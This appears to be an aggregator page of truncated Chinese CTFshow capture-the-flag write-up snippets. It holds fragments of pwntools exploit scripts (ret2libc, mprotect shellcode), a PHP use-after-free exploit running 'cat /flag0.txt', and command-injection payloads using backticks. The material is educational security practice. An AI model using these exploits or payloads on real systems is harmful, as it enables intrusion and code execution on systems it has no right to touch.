在CTFshow pwn49中,file是静态编译的statically linked,checksec发现是Canary found(其实并没有,个人的checksec版本过低),依旧可以触发栈溢出漏洞。 思路:首先调用mprotect函数对内存页权限进行修改,之后调用read函数在适当位置读入shellcode frompwnimport*context(os ='linux', arch ='i386', log_level ='debug')io ...
PWN49 用ida打开我们发现是静态编译的,所以先要通过libc库来打是不可能的了,程序里面有一个栈溢出点,找一下有没有system函数,发现并没有 那么我们找一下有没有mprotect函数如果有这个那么我们可以把一段地址改成可读可写可执行权限,然后写入我们的shellcode就可以执行了,发现确实有这个那么思路就清晰了 我来介绍一...
exp: <?php pwn("cat /flag0.txt"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # ...
<?php pwn("cat /flag0.txt"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >...
知识点:反引号执行系统命令。 其他命令执行的函数 system()//有回显 passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 同shell_exec() payload1: ?c=echo `tac fla?.p?p`; payload2; ?c=echo`nlfl''ag.p''hp`; ...
一个是pwn✌的溢出思想(https://www.yuque.com/misery333/sz1apr/qvvd5igfpyc7xdu4?singleDoc#pEncV),一个是密码✌的RSA公钥体系(https://ctf-show.feishu.cn/docx/KTfvd3GCOodJrRxVnk5ck1LunYb) 代码语言:javascript 复制 # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2023-03-27 ...
第一题:pwn签到 直接nc链接得到flag:ctfshow{677d6a30-8582-49b4-8898-ea6265e08585} 第二题:初步nc得到: stack happy! 32bits 使用ida打开,在main中找到一个pwnme,点进去找到一个fgets,知道是在这里获取用户输入,双击s,得知要输入的垃圾数据是09+04,就是13个,然后在stack处找到bin/sh,说明要导入这个地址...
pwn48 有puts函数可以泄露地址,正常的ret2libc。 frompwnimport*fromLibcSearcherimport*context(os ='linux', arch ='i386', log_level ='debug')io = remote("pwn.challenge.ctf.show",28284)elf = ELF('./pwn')offset =0x6B+0x4main_addr = elf.sym['main']puts_plt = elf.plt['puts']puts_go...
PWN31使用checksec查看保护发现除了canary剩下保护全开,那么就没有前面几个题目那么简单了,ida打开看见他给了我们main函数地址虽然开了pie但是在他们之间的偏移是一定的,那么我们就可以通过他给的main函数的真实地址减去偏移得到文件(elf)的基地址,然后puts_plt puts_got表地址就有了。 在ctfshow函数里面有一个栈溢出...
pwn23 注意这个 signal 信号,当触发段错误时会执行这个 signal 里的 sigsegv_handler()函数,这个函数是来刷新缓冲区的,也就是会把缓冲区的内容全部打印出来。所以我们只需要发生一个段错误就可以了。 signal(11, (__sighandler_t)sigsegv_handler) 11:信号编号,对应于 SIGSEGV,即段错误信号。